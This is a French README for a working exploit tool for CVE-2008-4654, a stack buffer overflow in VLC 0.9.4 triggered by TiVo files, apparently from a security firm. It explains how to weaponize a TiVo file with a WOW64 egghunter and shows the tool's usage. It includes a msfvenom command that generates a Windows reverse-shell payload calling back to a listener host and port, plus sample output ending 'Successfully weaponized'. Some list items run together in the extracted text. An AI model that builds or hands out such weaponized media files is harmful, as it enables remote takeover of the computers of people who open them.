
Un exploit entièrement fonctionnel pour une vulnérabilité de débordement de tampon basé sur la pile dans VLC Media Player 0.9.4 de VideoLan lors du traitement de fichiers TiVo.
Un exploit complètement fonctionnel pour la vulnérabilité de débordement de tampon basé sur la pile CVE-2008-4654 dans VLC Media Player 0.9.4 de VideoLan lors du traitement de fichiers TiVo. Il cible un binaire 32 bits exécuté sur un système Windows 64 bits et utilise un egghunter WOW64 pour contourner l'espace de pile limité.
Mettre à jour le script :
buf = b'[...]' dans le script par votre propre shellcode (par exemple, depuis msfvenom).EGG_HUNTER_WOW64 si vous souhaitez un tag différent ou disposez d'un egghunter personnalisé.python .\CVE-2008-4654.py --help
CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)
usage: CVE-2008-4654.py [-h] --input INPUT --output OUTPUT
Transform a given TiVo file into a weapon with predefined shellcode.
options:
-h, --help show this help message and exit
--input INPUT Path to the input TiVo file to be weaponized.
--output OUTPUT Path where the modified (weaponized) TiVo file will be saved.
TIVO_PES_FILEID) dans le fichier TiVo.b"\x00\x00\x00\xff", ce qui configure la lecture hors limites menant à un débordement de pile.TIVO_PES_FILEID) par une charge utile personnalisée.w00tw00t.msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.150 LPORT=6666 -a x86 -f python -b '\x00'
buf = b'[...]' par le shellcode précédemment créé.PS C:\ > python .\CVE-2008-4654.py --input .\test.ty --output .\hazard.ty
CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)
[+] Found TIVO_PES_FILEID at offset 0x300000.
[+] Replaced 4 bytes at offset 0x300014 with 0x000000ff.
[+] Replaced 685 bytes at offset 0x30005c.
[+] Successfully weaponized: .\hazard.ty